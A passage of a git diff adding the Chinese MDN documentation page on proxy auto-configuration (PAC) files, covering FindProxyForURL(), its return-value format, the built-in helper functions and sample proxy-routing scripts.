    -
  • FindProxyForURL() 函数返回一个字符串
  • -
  • 如果那个字符串为空,则不使用任何代理
  • -
  • 字符串中可以包含如下任意数量的“代理配置块”(building blocks),用分号分隔:
  • -
- -
-
DIRECT
-
直连,不经过任何代理
-
PROXY host:port
-
HTTP 代理
-
SOCKS host:port
-
SOCKS 代理
-
- -

最近版本的 Firefox 同时还支持:

- -
-
HTTP host:port
-
HTTP 代理
-
HTTPS host:port
-
HTTPS 代理
-
SOCKS4 host:port
-
SOCKS5 host:port
-
SOCKS 代理(同时指定 SOCKS 版本)
-
- -

如果有多个使用分号分隔的代理配置,将使用最左边的配置,除非 Firefox 无法与其中指定的代理服务器建立连接。在这种情况下,将使用下一个配置,等等。

- -

30分钟后,浏览器将自动重试之前没有响应的代理。下一次尝试则将在一小时后开始,再下一次是一个半小时。每次尝试后,间隔会增加 30 分钟。

- -

如果所有代理都挂了,并且最后没有指定直连配置项(DIRECT),浏览器将询问是否应该暂时忽略代理,并尝试直接连接。20 分钟后,浏览器会再次询问是否应该重试代理,40 分钟后会再问一次。每次询问后,间隔会增加 20 分钟。

- -

例子

- -
-
PROXY w3proxy.netscape.com:8080; PROXY mozilla.netscape.com:8081
-
主代理是 w3proxy:8080;如果它出现故障,则使用 mozilla:8081,直到主代理恢复。
-
PROXY w3proxy.netscape.com:8080; PROXY mozilla.netscape.com:8081; DIRECT
-
和上面的基本一样,但如果两个代理都挂了,则自动改为直连。(在上面的例子中,Netscape 浏览器将询问用户是否要改用直接连接;在本例中,则不需要用户干预。)
-
PROXY w3proxy.netscape.com:8080; SOCKS socks:1080
-
如果主代理出现问题,则使用 SOCKS 连接。
-
- -

自动配置文件应当被保存为一个以 .pac 作为文件拓展名的文件,比如:

- -
proxy.pac
- -

其 MIME 类型应被设置为:

- -
application/x-ns-proxy-autoconfig
- -

接下来,你应当配置你的服务器,让文件拓展名 .pac 映射到如上所示的 MIME 类型。

- -
-

注意:

- -
    -
  • PAC 文件的 JavaScript 代码应该总是单独保存到 .pac 文件中,而不是嵌入到 HTML 文件或是任何其他文件之中。
  • -
  • 本文档末尾的示例都是完整的,使用时不需要增加任何其它代码,直接保存应用即可。(当然,你需要改成你自己的域名/子域)
  • -
-
- -

预定义的函数与环境

- -

这些函数可以在 PAC 文件中使用:

- - - -
-

注意: pactester ( pacparser 的一部分) 可以用来检测语法是否符合要求,使用方法如下:

- -
    -
  • PAC文件保存为 proxy.pac
  • -
  • 命令行输入: pactester -p ~/pacparser-master/tests/proxy.pac -u http://www.mozilla.org。 -
      -
    • 该命令中, host 参数为 www.mozilla.orgurl 参数为http://www.mozilla.org
    • -
    -
  • -
-
- -

isPlainHostName()

- -

语法

- -
isPlainHostName(host)
- -

参数

- -
-
host
-
从 URL 中得到的主机名(端口除外)。
-
- -

描述

- -

当且仅当主机名中没有域名时为真(没有分隔域名的点)。

- -

例子

- -
isPlainHostName("www.mozilla.org") // false
-isPlainHostName("www") // true
-
- -

dnsDomainIs()

- -

语法

- -
dnsDomainIs(host, domain)
- -

参数

- -
-
host
-
从 URL 中得到的主机名。
-
domain
-
域名/部分域名
-
- -

描述

- -

如果匹配,返回true。

- -

例子

- -
dnsDomainIs("www.mozilla.org", ".mozilla.org") // true
-dnsDomainIs("www", ".mozilla.org") // false
-
- -

localHostOrDomainIs()

- -

语法

- -
localHostOrDomainIs(host, hostdom)
- -

参数

- -
-
host
-
从 URL 中得到的主机名。
-
hostdom
-
完整域名
-
- -

描述

- -

完整域名匹配或主机名(如www)匹配时返回true。

- -

例子

- -
localHostOrDomainIs("www.mozilla.org" , "www.mozilla.org") // true (exact match)
-localHostOrDomainIs("www"             , "www.mozilla.org") // true (hostname match, domain not specified)
-localHostOrDomainIs("www.google.com"  , "www.mozilla.org") // false (domain name mismatch)
-localHostOrDomainIs("home.mozilla.org", "www.mozilla.org") // false (hostname mismatch)
- -

isResolvable()

- -

语法

- -
isResolvable(host)
- -

参数

- -
-
host
-
从 URL 中得到的主机名。
-
- -

尝试解析主机名。如果成功,则返回true。

- -

例子:

- -
isResolvable("www.mozilla.org") // true
-
- -

isInNet()

- -

语法

- -
isInNet(host, pattern, mask)
- -

参数

- -
-
host
-
一个 DNS 主机名,或者一个 IP 地址。如果传入了主机名,则会被此函数解析为 IP 地址,再进行判断。
-
pattern
-
点号(.)分隔的IP地址。
-
mask
-
子网掩码,0 代表忽略,255 代表完全匹配。
-
- -

仅在 host 属于由 pattern 和 mask 指定的ip地址段时返回true。

- -

Pattern and mask specification is done the same way as for SOCKS configuration.

- -

例子:

- -
function alert_eval(str) { alert(str + ' is ' + eval(str)) }
-function FindProxyForURL(url, host) {
-  alert_eval('isInNet(host, "63.245.213.24", "255.255.255.255")')
-  // "PAC-alert: isInNet(host, "63.245.213.24", "255.255.255.255") is true"
-}
-
- -

dnsResolve()

- -
dnsResolve(host)
- -

参数

- -
-
host
-
要解析的主机名。
-
- -

将给定的 DNS 主机名解析为 IP 地址并返回为标准格式的 IP 地址字符串。

- -

例子

- -
dnsResolve("www.mozilla.org"); // returns the string "104.16.41.2"
- -

convert_addr()

- -

语法

- -
convert_addr(ipaddr)
- -

参数

- -
-
ipaddr
-
点号(.)分隔的IP地址或子网掩码。
-
- -

将IP地址转换为32位整数地址。

- -

例子

- -
convert_addr("104.16.41.2"); // returns the decimal number 1745889538
- -

myIpAddress()

- -

语法

- -
myIpAddress()
- -

参数

- -

(无)

- -

获取当前 Firefox 所在设备的 IP 地址,并返回为标准格式的 IP 地址字符串。

- -
-

myIpAddress() 返回与 nslookup localhost 命令在 Linux 主机上的执行结果相同的 IP 地址。不会返回公网 IP 地址。

-
- -

例子

- -
myIpAddress() //returns the string "127.0.1.1" if you were running Firefox on that localhost
- -

dnsDomainLevels()

- -

语法

- -
dnsDomainLevels(host)
- -

参数

- -
-
host
-
从 URL 中得到的主机名。
-
- -

返回主机名中DNS域名级别的整数数量(域名中包含点的个数)。

- -

例子:

- -
dnsDomainLevels("www");             // 0
-dnsDomainLevels("mozilla.org");     // 1
-dnsDomainLevels("www.mozilla.org"); // 2
-
- -

shExpMatch()

- -

语法

- -
shExpMatch(str, shexp)
- -

参数

- -
-
str
-
任何要比较的字符串(如URL或主机名)。
-
shexp
-
要用来对比的 Shell 表达式。
-
- -

如果字符串匹配指定的Shell表达式则返回true。

- -

注意,本函数接收 shell glob 表达式而非正则表达式。*? 始终被支持,[characters][^characters] 只在包括 Firefox 在内的某些实现上被支持。这主要是由于 glob 表达式在内部被翻译为正则表达式。如要使用正则表达式语法,请直接使用 RegExp 类。

- -

例子

- -
shExpMatch("http://home.netscape.com/people/ari/index.html"     , "*/ari/*"); // returns true
-shExpMatch("http://home.netscape.com/people/montulli/index.html", "*/ari/*"); // returns false
- -

weekdayRange()

- -

语法

- -
weekdayRange(wd1, wd2, [gmt])
- -
-

注意: (Before Firefox 49) wd1 must be less than wd2 if you want the function to evaluate these parameters as a range. See the warning below.

-
- -

参数

- -
-
wd1 和 wd2
-
One of the ordered weekday strings:
-
-
"SUN"|"MON"|"TUE"|"WED"|"THU"|"FRI"|"SAT"
-
-
gmt
-
可以指定为字符串 "GMT",或留白不指定。
-
- -

Only the first parameter is mandatory. Either the second, the third, or both may be left out.

- -

If only one parameter is present, the function returns a value of true on the weekday that the parameter represents. If the string "GMT" is specified as a second parameter, times are taken to be in GMT. Otherwise, they are assumed to be in the local timezone.

- -

If both wd1 and wd1 are defined, the condition is true if the current weekday is in between those two ordered weekdays. Bounds are inclusive, but the bounds are ordered. 如果指定了 "GMT" 参数,则使用 GMT 时区,否则使用浏览器获取到的平台本地时区。

- -
-

The order of the days matters; Before Firefox 49, weekdayRange("SUN", "SAT") will always evaluate to true. Now weekdayRange("WED", "SUN") will only evaluate true if the current day is Wednesday or Sunday.

-
- -

例子

- -
weekdayRange("MON", "FRI");        // returns true Monday through Friday (local timezone)
-weekdayRange("MON", "FRI", "GMT"); // returns true Monday through Friday (GMT timezone)
-weekdayRange("SAT");               // returns true on Saturdays local time
-weekdayRange("SAT", "GMT");        // returns true on Saturdays GMT time
-weekdayRange("FRI", "MON");        // returns true Friday and Monday only (note, order does matter!)
- -

dateRange()

- -

语法

- -
dateRange(<day> | <month> | <year>, [gmt])  // ambiguity is resolved by assuming year is greater than 31
-dateRange(<day1>, <day2>, [gmt])
-dateRange(<month1>, <month2>, [gmt])
-dateRange(<year1>, <year2>, [gmt])
-dateRange(<day1>, <month1>, <day2>, <month2>, [gmt])
-dateRange(<month1>, <year1>, <month2>, <year2>, [gmt])
-dateRange(<day1>, <month1>, <year1>, <day2>, <month2>, <year2>, [gmt])
- -
-

注意: (Before Firefox 49) day1 must be less than day2, month1 must be less than month2, and year1 must be less than year2 if you want the function to evaluate these parameters as a range. See the warning below.

-
- -

参数

- -
-
day
-
Is the ordered day of the month between 1 and 31 (as an integer).
-
- -
1|2|3|4|5|6|7|8|9|10|11|12|13|14|15|16|17|18|19|20|21|22|23|24|25|26|27|28|29|30|31
- -
-
month
-
Is one of the ordered month strings below.
-
- -
"JAN"|"FEB"|"MAR"|"APR"|"MAY"|"JUN"|"JUL"|"AUG"|"SEP"|"OCT"|"NOV"|"DEC"
- -
-
year
-
Is the ordered full year integer number. For example, 2016 (not 16).
-
gmt
-
可以指定为字符串 "GMT",代表使用 GMT 时区进行比较;或者留白不指定,代表使用浏览器获取到的平台本地时区。
-
- -

If only a single value is specified (from each category: day, month, year), the function returns a true value only on days that match that specification. If both values are specified, the result is true between those times, including bounds, but the bounds are ordered.

- -
-

The order of the days, months, and years matter; Before Firefox 49, dateRange("JAN", "DEC") will always evaluate to true. Now dateRange("DEC", "JAN") will only evaluate true if the current month is December or January.

-
- -

例子

- -
dateRange(1);            // returns true on the first day of each month, local timezone
-dateRange(1, "GMT")      // returns true on the first day of each month, GMT timezone
-dateRange(1, 15);        // returns true on the first half of each month
-dateRange(24, "DEC");    // returns true on 24th of December each year
-dateRange("JAN", "MAR"); // returns true on the first quarter of the year
-
-dateRange(1, "JUN", 15, "AUG");
-// returns true from June 1st until August 15th, each year
-// (including June 1st and August 15th)
-
-dateRange(1, "JUN", 1995, 15, "AUG", 1995);
-// returns true from June 1st, 1995, until August 15th, same year
-
-dateRange("OCT", 1995, "MAR", 1996);
-// returns true from October 1995 until March 1996
-// (including the entire month of October 1995 and March 1996)
-
-dateRange(1995);
-// returns true during the entire year of 1995
-
-dateRange(1995, 1997);
-// returns true from beginning of year 1995 until the end of year 1997
- -

timeRange()

- -

语法

- -
// The full range of expansions is analogous to dateRange.
-timeRange(<hour1>, <min1>, <sec1>, <hour2>, <min2>, <sec2>, [gmt])
- -
-

注意: (Before Firefox 49) the category hour1, min1, sec1 must be less than the category hour2, min2, sec2 if you want the function to evaluate these parameters as a range. See the warning below.

-
- -

参数

- -
-
hour
-
小时,区间为 0 到 23。(0 是午夜 0 点,1 是上午 1 点,11 是正午 12 点,23 是下午 11 点。)
-
min
-
分钟,区间为 0 到 59。
-
sec
-
 秒,区间为 0 到 59。
-
gmt
-
可以指定为字符串 "GMT",代表使用 GMT 时区,或者留白不指定,代表使用浏览器获取到的平台本地时区。
-
- -

If only a single value is specified (from each category: hour, minute, second), the function returns a true value only at times that match that specification. If both values are specified, the result is true between those times, including bounds, but the bounds are ordered.

- -
-

The order of the hour, minute, second matter; Before Firefox 49, timeRange(0, 23) will always evaluate to true. Now timeRange(23, 0) will only evaluate true if the current hour is 23:00 or midnight.

-
- -

例子

- -
timerange(12);                // returns true from noon to 1pm
-timerange(12, 13);            // returns true from noon to 1pm
-timerange(12, "GMT");         // returns true from noon to 1pm, in GMT timezone
-timerange(9, 17);             // returns true from 9am to 5pm
-timerange(8, 30, 17, 00);     // returns true from 8:30am to 5:00pm
-timerange(0, 0, 0, 0, 0, 30); // returns true between midnight and 30 seconds past midnight
- -

例 1

- -

对除本地主机以外的所有连接使用代理

- -
-

注意: 以下所有示例都只针对特定需求并未经测试

-
- -

所有并非完全限定的主机名,以及在本地域内的主机名,都将直接连接。其他的会通过w3proxy:8080 连接。如果代理不可用,则自动回退到直连。

- -
function FindProxyForURL(url, host) {
-  if (isPlainHostName(host) || dnsDomainIs(host, ".mozilla.org")) {
-    return "DIRECT";
-  } else {
-    return "PROXY w3proxy.mozilla.org:8080; DIRECT";
-  }
-}
- -
-

注意: 这是只有一个代理服务器情况下最简单高效的自动配置脚本。

-
- -

例 2

- -

和例 1 一样,但是对防火墙外的本地服务器使用代理

- -

如果有主机(例如生产环境中的 Web 服务器)属于本地域但在防火墙外,仅可通过代理访问,可以通过 localHostOrDomainIs() 来为上述主机添加例外:

- -
function FindProxyForURL(url, host) {
-  if (
-    (isPlainHostName(host) || dnsDomainIs(host, ".mozilla.org")) &&
-    !localHostOrDomainIs(host, "www.mozilla.org") &&
-    !localHostOrDoaminIs(host, "merchant.mozilla.org")
-  ) {
-        return "DIRECT";
-  } else {
-    return "PROXY w3proxy.mozilla.org:8080; DIRECT";
-  }
-}
- -

以上示例为 mozilla.org 域外所有主机使用代理,同时添加了例外使 www.mozilla.orgmerchant.mozilla.org 也使用代理。

- -
-

注意:以上例外的顺序影响效率:localHostOrDomainIs() 只在 URL 位于本地域内时执行,注意位于 || 外和  && 前的括号。

-
- -

例 3

- -

如果无法解析域名,则使用代理

- -

这个示例可用于网络中的DNS服务器只解析内部主机名的情况,其功能是只对不能成功解析的域名使用代理。

- -
function FindProxyForURL(url, host) {
-  if (isResolvable(host))
-    return "DIRECT";
-  else
-    return "PROXY proxy.mydomain.com:8080";
-}
- -

以上代码每一次均会进行DNS查询,这可以通过添加其他一些规则,只在其他规则不能给出结果时进行DNS查询来解决:

- -
function FindProxyForURL(url, host) {
-  if (
-    isPlainHostName(host) ||
-    dnsDomainIs(host, ".mydomain.com") ||
-    isResolvable(host)
-  ) {
-    return "DIRECT";
-  } else {
-    return "PROXY proxy.mydomain.com:8080";
-  }
-}
- -

例 4

- -

基于网域(Subnet)的选择方案

- -

在此示例中,所有同一子网内的主机均直接连接,其他主机则通过代理连接:

- -
function FindProxyForURL(url, host) {
-  if (isInNet(host, "198.95.0.0", "255.255.0.0"))
-    return "DIRECT";
-  else
-    return "PROXY proxy.mydomain.com:8080";
-}
- -

同样的,对 DNS 的使用可以通过添加冗余的规则来最小化:

- -
function FindProxyForURL(url, host) {
-  if (
-    isPlainHostName(host) ||
-    dnsDomainIs(host, ".mydomain.com") ||
-    isInNet(host, "198.95.0.0", "255.255.0.0")
-  ) {
-    return "DIRECT";
-  } else {
-    return "PROXY proxy.mydomain.com:8080";
-  }
-}
- -

例 5

- -

负载均衡 / 基于 URL 模式(pattern)的路由规划

- -

This example is more sophisticated. There are four (4) proxy servers; one of them is a hot stand-by for all of the other ones, so if any of the remaining three goes down the fourth one will take over. Furthermore, the three remaining proxy servers share the load based on URL patterns, which makes their caching more effective (there is only one copy of any document on the three servers - as opposed to one copy on each of them). The load is distributed like this:

- - - - - - - - - - - - - - - - - - - - - - - - -
代理用途
#1.com 域名
#2.edu 域名
#3所有其他域名
#4备用(原文:hot stand-by,活跃备用、热备用)
- -

All local accesses are desired to be direct. All proxy servers run on the port 8080 (they don't need to, you can just change your port but remember to modify your configuations on both side). Note how strings can be concatenated with the + operator in JavaScript.

- -
function FindProxyForURL(url, host) {
-
-  if (isPlainHostName(host) || dnsDomainIs(host, ".mydomain.com"))
-    return "DIRECT";
-
-  else if (shExpMatch(host, "*.com"))
-    return "PROXY proxy1.mydomain.com:8080; " +
-           "PROXY proxy4.mydomain.com:8080";
-
-  else if (shExpMatch(host, "*.edu"))
-    return "PROXY proxy2.mydomain.com:8080; " +
-           "PROXY proxy4.mydomain.com:8080";
-
-  else
-    return "PROXY proxy3.mydomain.com:8080; " +
-           "PROXY proxy4.mydomain.com:8080";
-}
- -

例 6

- -

为特定协议设置代理

- -

大多数 JavaScript 标准功能在 FindProxyForURL() 中可用。作为例子,我们通过{{jsxref("String.prototype.startsWith()", "startsWith()")}} 为不同的协议设置不同的代理。

- -
function FindProxyForURL(url, host) {
-
-  if (url.startsWith("http:"))
-    return "PROXY http-proxy.mydomain.com:8080";
-
-  else if (url.startsWith("ftp:"))
-    return "PROXY ftp-proxy.mydomain.com:8080";
-
-  else if (url.startsWith(“gopher:"))
-    return "PROXY gopher-proxy.mydomain.com:8080";
-
-  else if (url.startsWith("https:") || url.startsWith("snews:"))
-    return "PROXY security-proxy.mydomain.com:8080";
-
-  else
-    return "DIRECT";
-
-}
- -
-

注意: shExpMatch() 也可以做到,例如:

- -
// ...
-if (shExpMatch(url, "http:*")) {
-  return "PROXY http-proxy.mydomain.com:8080";
-}
-// ...
-
-
- -
-

自动配置脚本也可以在服务端动态生成。这在某些情况下比较有用,例如根据客户端地址指定不同的代理服务器。

- -

isInNet()isResolvable()dnsResolve() 应该谨慎使用,这些函数会进行  DNS 查询。其他函数则大都是字符处理函数,不需要 DNS 。如果通过代理连接,代理本身也会进行一次 DNS 查询,这产生了额外的 DNS 请求。并且绝大多数情况下,不需要这些函数来实现特定的功能。

-
- -

历史与实现

- -

Proxy auto-config was introduced into Netscape Navigator 2.0 in the late 1990s, at the same time when JavaScript was introduced. Open-sourcing Netscape eventually lead to Firefox itself.

- -

The most "original" implementation of PAC and its JavaScript libraries is, therefore, nsProxyAutoConfig.js found in early versions of Firefox. These utilities are found in many other open-source systems including Chromium. Firefox later integrated the file into ProxyAutoConfig.cpp as a string literal.

- -

Microsoft in general made its own implementation. There used to be some problems with their libraries, but most are resolved by now. They have defined some new "Ex" suffixed functions around the address handling parts to support IPv6. The feature is supported by Chromium, but not yet by Firefox (bugzilla #558253).

diff --git a/files/zh-cn/web/http/proxy_servers_and_tunneling/proxy_auto-configuration_pac_file/index.html b/files/zh-cn/web/http/proxy_servers_and_tunneling/proxy_auto-configuration_pac_file/index.html new file mode 100644 index 0000000000..e64b1758ff --- /dev/null +++ b/files/zh-cn/web/http/proxy_servers_and_tunneling/proxy_auto-configuration_pac_file/index.html @@ -0,0 +1,729 @@ +--- +title: 代理自动配置文件(PAC)文件 +slug: Web/HTTP/Proxy_servers_and_tunneling/Proxy_Auto-Configuration_(PAC)_file +translation_of: Web/HTTP/Proxy_servers_and_tunneling/Proxy_Auto-Configuration_(PAC)_file +--- +
{{HTTPSidebar}}
+ +

代理自动配置(PAC)文件是一个 JavaScript 脚本,其核心是一个 JavaScript 函数,用来决定网页浏览请求(HTTP、HTTPS,和 FTP)应当直连目标地址,还是被转发给一个网页代理服务器并通过代理连接。PAC 文件中的核心 JavaScript 函数通常是这样定义的:

+ +
function FindProxyForURL(url, host) {
+  // ...
+}
+ +

语法

+ +
function FindProxyForURL(url, host)
+ +

参数

+ +
+
url
+
要访问的 URL。URL 中类似 https:// 这样的的路径和查询组件已被去除。在 Chrome 浏览器(版本 52 至 73)中, 你可以通过设置 PacHttpsUrlStrippingEnabledfalse 来禁止这种行为,或者以 --unsafe-pac-url 命令行参数启动(自 Chrome 74 起,仅命令行参数有效,且在 Chrome 75 及之后的版本中无法禁用这种行为;至于 Chrome 81,路径剥离对 HTTP URL 不适用,但有意改变这一行为以适应 HTTPS);在 Firefox 浏览器中,对应的选项是 network.proxy.autoconfig_url.include_path
+
host
+
从 URL 中提取得到的主机名。这只是为了方便;它与 :// 之后到第一个 :/ 之前的字符串相同。端口号不包括在此参数中,必要时可以自行从 URL 中提取。
+
+ +

描述

+ +

返回一个描述了代理设置的字符串。字符串的格式按照返回值格式进行定义。

+ +

返回值格式

+ +
    +
  • FindProxyForURL() 函数返回一个字符串
  • +
  • 如果那个字符串为空,则不使用任何代理
  • +
  • 字符串中可以包含如下任意数量的“代理配置块”(building blocks),用分号分隔:
  • +
+ +
+
DIRECT
+
直连,不经过任何代理
+
PROXY host:port
+
HTTP 代理
+
SOCKS host:port
+
SOCKS 代理
+
+ +

最近版本的 Firefox 同时还支持:

+ +
+
HTTP host:port
+
HTTP 代理
+
HTTPS host:port
+
HTTPS 代理
+
SOCKS4 host:port
+
SOCKS5 host:port
+
SOCKS 代理(同时指定 SOCKS 版本)
+
+ +

如果有多个使用分号分隔的代理配置,将使用最左边的配置,除非 Firefox 无法与其中指定的代理服务器建立连接。在这种情况下,将使用下一个配置,等等。

+ +

30分钟后,浏览器将自动重试之前没有响应的代理。下一次尝试则将在一小时后开始,再下一次是一个半小时。每次尝试后,间隔会增加 30 分钟。

+ +

如果所有代理都挂了,并且最后没有指定直连配置项(DIRECT),浏览器将询问是否应该暂时忽略代理,并尝试直接连接。20 分钟后,浏览器会再次询问是否应该重试代理,40 分钟后会再问一次。每次询问后,间隔会增加 20 分钟。

+ +

例子

+ +
+
PROXY w3proxy.netscape.com:8080; PROXY mozilla.netscape.com:8081
+
主代理是 w3proxy:8080;如果它出现故障,则使用 mozilla:8081,直到主代理恢复。
+
PROXY w3proxy.netscape.com:8080; PROXY mozilla.netscape.com:8081; DIRECT
+
和上面的基本一样,但如果两个代理都挂了,则自动改为直连。(在上面的例子中,Netscape 浏览器将询问用户是否要改用直接连接;在本例中,则不需要用户干预。)
+
PROXY w3proxy.netscape.com:8080; SOCKS socks:1080
+
如果主代理出现问题,则使用 SOCKS 连接。
+
+ +

自动配置文件应当被保存为一个以 .pac 作为文件拓展名的文件,比如:

+ +
proxy.pac
+ +

其 MIME 类型应被设置为:

+ +
application/x-ns-proxy-autoconfig
+ +

接下来,你应当配置你的服务器,让文件拓展名 .pac 映射到如上所示的 MIME 类型。

+ +
+

注意:

+ +
    +
  • PAC 文件的 JavaScript 代码应该总是单独保存到 .pac 文件中,而不是嵌入到 HTML 文件或是任何其他文件之中。
  • +
  • 本文档末尾的示例都是完整的,使用时不需要增加任何其它代码,直接保存应用即可。(当然,你需要改成你自己的域名/子域)
  • +
+
+ +

预定义的函数与环境

+ +

这些函数可以在 PAC 文件中使用:

+ + + +
+

注意: pactester ( pacparser 的一部分) 可以用来检测语法是否符合要求,使用方法如下:

+ +
    +
  • PAC文件保存为 proxy.pac
  • +
  • 命令行输入: pactester -p ~/pacparser-master/tests/proxy.pac -u http://www.mozilla.org。 +
      +
    • 该命令中, host 参数为 www.mozilla.orgurl 参数为http://www.mozilla.org
    • +
    +
  • +
+
+ +

isPlainHostName()

+ +

语法

+ +
isPlainHostName(host)
+ +

参数

+ +
+
host
+
从 URL 中得到的主机名(端口除外)。
+
+ +

描述

+ +

当且仅当主机名中没有域名时为真(没有分隔域名的点)。

+ +

例子

+ +
isPlainHostName("www.mozilla.org") // false
+isPlainHostName("www") // true
+
+ +

dnsDomainIs()

+ +

语法

+ +
dnsDomainIs(host, domain)
+ +

参数

+ +
+
host
+
从 URL 中得到的主机名。
+
domain
+
域名/部分域名
+
+ +

描述

+ +

如果匹配,返回true。

+ +

例子

+ +
dnsDomainIs("www.mozilla.org", ".mozilla.org") // true
+dnsDomainIs("www", ".mozilla.org") // false
+
+ +

localHostOrDomainIs()

+ +

语法

+ +
localHostOrDomainIs(host, hostdom)
+ +

参数

+ +
+
host
+
从 URL 中得到的主机名。
+
hostdom
+
完整域名
+
+ +

描述

+ +

完整域名匹配或主机名(如www)匹配时返回true。

+ +

例子

+ +
localHostOrDomainIs("www.mozilla.org" , "www.mozilla.org") // true (exact match)
+localHostOrDomainIs("www"             , "www.mozilla.org") // true (hostname match, domain not specified)
+localHostOrDomainIs("www.google.com"  , "www.mozilla.org") // false (domain name mismatch)
+localHostOrDomainIs("home.mozilla.org", "www.mozilla.org") // false (hostname mismatch)
+ +

isResolvable()

+ +

语法

+ +
isResolvable(host)
+ +

参数

+ +
+
host
+
从 URL 中得到的主机名。
+
+ +

尝试解析主机名。如果成功,则返回true。

+ +

例子:

+ +
isResolvable("www.mozilla.org") // true
+
+ +

isInNet()

+ +

语法

+ +
isInNet(host, pattern, mask)
+ +

参数

+ +
+
host
+
一个 DNS 主机名,或者一个 IP 地址。如果传入了主机名,则会被此函数解析为 IP 地址,再进行判断。
+
pattern
+
点号(.)分隔的IP地址。
+
mask
+
子网掩码,0 代表忽略,255 代表完全匹配。
+
+ +

仅在 host 属于由 pattern 和 mask 指定的ip地址段时返回true。

+ +

Pattern and mask specification is done the same way as for SOCKS configuration.

+ +

例子:

+ +
function alert_eval(str) { alert(str + ' is ' + eval(str)) }
+function FindProxyForURL(url, host) {
+  alert_eval('isInNet(host, "63.245.213.24", "255.255.255.255")')
+  // "PAC-alert: isInNet(host, "63.245.213.24", "255.255.255.255") is true"
+}
+
+ +

dnsResolve()

+ +
dnsResolve(host)
+ +

参数

+ +
+
host
+
要解析的主机名。
+
+ +

将给定的 DNS 主机名解析为 IP 地址并返回为标准格式的 IP 地址字符串。

+ +

例子

+ +
dnsResolve("www.mozilla.org"); // returns the string "104.16.41.2"
+ +

convert_addr()

+ +

语法

+ +
convert_addr(ipaddr)
+ +

参数

+ +
+
ipaddr
+
点号(.)分隔的IP地址或子网掩码。
+
+ +

将IP地址转换为32位整数地址。

+ +

例子

+ +
convert_addr("104.16.41.2"); // returns the decimal number 1745889538
+ +

myIpAddress()

+ +

语法

+ +
myIpAddress()
+ +

参数

+ +

(无)

+ +

获取当前 Firefox 所在设备的 IP 地址,并返回为标准格式的 IP 地址字符串。

+ +
+

myIpAddress() 返回与 nslookup localhost 命令在 Linux 主机上的执行结果相同的 IP 地址。不会返回公网 IP 地址。

+
+ +

例子

+ +
myIpAddress() //returns the string "127.0.1.1" if you were running Firefox on that localhost
+ +

dnsDomainLevels()

+ +

语法

+ +
dnsDomainLevels(host)
+ +

参数

+ +
+
host
+
从 URL 中得到的主机名。
+
+ +

返回主机名中DNS域名级别的整数数量(域名中包含点的个数)。

+ +

例子:

+ +
dnsDomainLevels("www");             // 0
+dnsDomainLevels("mozilla.org");     // 1
+dnsDomainLevels("www.mozilla.org"); // 2
+
+ +

shExpMatch()

+ +

语法

+ +
shExpMatch(str, shexp)
+ +

参数

+ +
+
str
+
任何要比较的字符串(如URL或主机名)。
+
shexp
+
要用来对比的 Shell 表达式。
+
+ +

如果字符串匹配指定的Shell表达式则返回true。

+ +

注意,本函数接收 shell glob 表达式而非正则表达式。*? 始终被支持,[characters][^characters] 只在包括 Firefox 在内的某些实现上被支持。这主要是由于 glob 表达式在内部被翻译为正则表达式。如要使用正则表达式语法,请直接使用 RegExp 类。

+ +

例子

+ +
shExpMatch("http://home.netscape.com/people/ari/index.html"     , "*/ari/*"); // returns true
+shExpMatch("http://home.netscape.com/people/montulli/index.html", "*/ari/*"); // returns false
+ +

weekdayRange()

+ +

语法

+ +
weekdayRange(wd1, wd2, [gmt])
+ +
+

注意: (Before Firefox 49) wd1 must be less than wd2 if you want the function to evaluate these parameters as a range. See the warning below.

+
+ +

参数

+ +
+
wd1 和 wd2
+
One of the ordered weekday strings:
+
+
"SUN"|"MON"|"TUE"|"WED"|"THU"|"FRI"|"SAT"
+
+
gmt
+
可以指定为字符串 "GMT",或留白不指定。
+
+ +

Only the first parameter is mandatory. Either the second, the third, or both may be left out.

+ +

If only one parameter is present, the function returns a value of true on the weekday that the parameter represents. If the string "GMT" is specified as a second parameter, times are taken to be in GMT. Otherwise, they are assumed to be in the local timezone.

+ +

If both wd1 and wd1 are defined, the condition is true if the current weekday is in between those two ordered weekdays. Bounds are inclusive, but the bounds are ordered. 如果指定了 "GMT" 参数,则使用 GMT 时区,否则使用浏览器获取到的平台本地时区。

+ +
+

The order of the days matters; Before Firefox 49, weekdayRange("SUN", "SAT") will always evaluate to true. Now weekdayRange("WED", "SUN") will only evaluate true if the current day is Wednesday or Sunday.

+
+ +

例子

+ +
weekdayRange("MON", "FRI");        // returns true Monday through Friday (local timezone)
+weekdayRange("MON", "FRI", "GMT"); // returns true Monday through Friday (GMT timezone)
+weekdayRange("SAT");               // returns true on Saturdays local time
+weekdayRange("SAT", "GMT");        // returns true on Saturdays GMT time
+weekdayRange("FRI", "MON");        // returns true Friday and Monday only (note, order does matter!)
+ +

dateRange()

+ +

语法

+ +
dateRange(<day> | <month> | <year>, [gmt])  // ambiguity is resolved by assuming year is greater than 31
+dateRange(<day1>, <day2>, [gmt])
+dateRange(<month1>, <month2>, [gmt])
+dateRange(<year1>, <year2>, [gmt])
+dateRange(<day1>, <month1>, <day2>, <month2>, [gmt])
+dateRange(<month1>, <year1>, <month2>, <year2>, [gmt])
+dateRange(<day1>, <month1>, <year1>, <day2>, <month2>, <year2>, [gmt])
+ +
+

注意: (Before Firefox 49) day1 must be less than day2, month1 must be less than month2, and year1 must be less than year2 if you want the function to evaluate these parameters as a range. See the warning below.

+
+ +

参数

+ +
+
day
+
Is the ordered day of the month between 1 and 31 (as an integer).
+
+ +
1|2|3|4|5|6|7|8|9|10|11|12|13|14|15|16|17|18|19|20|21|22|23|24|25|26|27|28|29|30|31
+ +
+
month
+
Is one of the ordered month strings below.
+
+ +
"JAN"|"FEB"|"MAR"|"APR"|"MAY"|"JUN"|"JUL"|"AUG"|"SEP"|"OCT"|"NOV"|"DEC"
+ +
+
year
+
Is the ordered full year integer number. For example, 2016 (not 16).
+
gmt
+
可以指定为字符串 "GMT",代表使用 GMT 时区进行比较;或者留白不指定,代表使用浏览器获取到的平台本地时区。
+
+ +

If only a single value is specified (from each category: day, month, year), the function returns a true value only on days that match that specification. If both values are specified, the result is true between those times, including bounds, but the bounds are ordered.

+ +
+

The order of the days, months, and years matter; Before Firefox 49, dateRange("JAN", "DEC") will always evaluate to true. Now dateRange("DEC", "JAN") will only evaluate true if the current month is December or January.

+
+ +

例子

+ +
dateRange(1);            // returns true on the first day of each month, local timezone
+dateRange(1, "GMT")      // returns true on the first day of each month, GMT timezone
+dateRange(1, 15);        // returns true on the first half of each month
+dateRange(24, "DEC");    // returns true on 24th of December each year
+dateRange("JAN", "MAR"); // returns true on the first quarter of the year
+
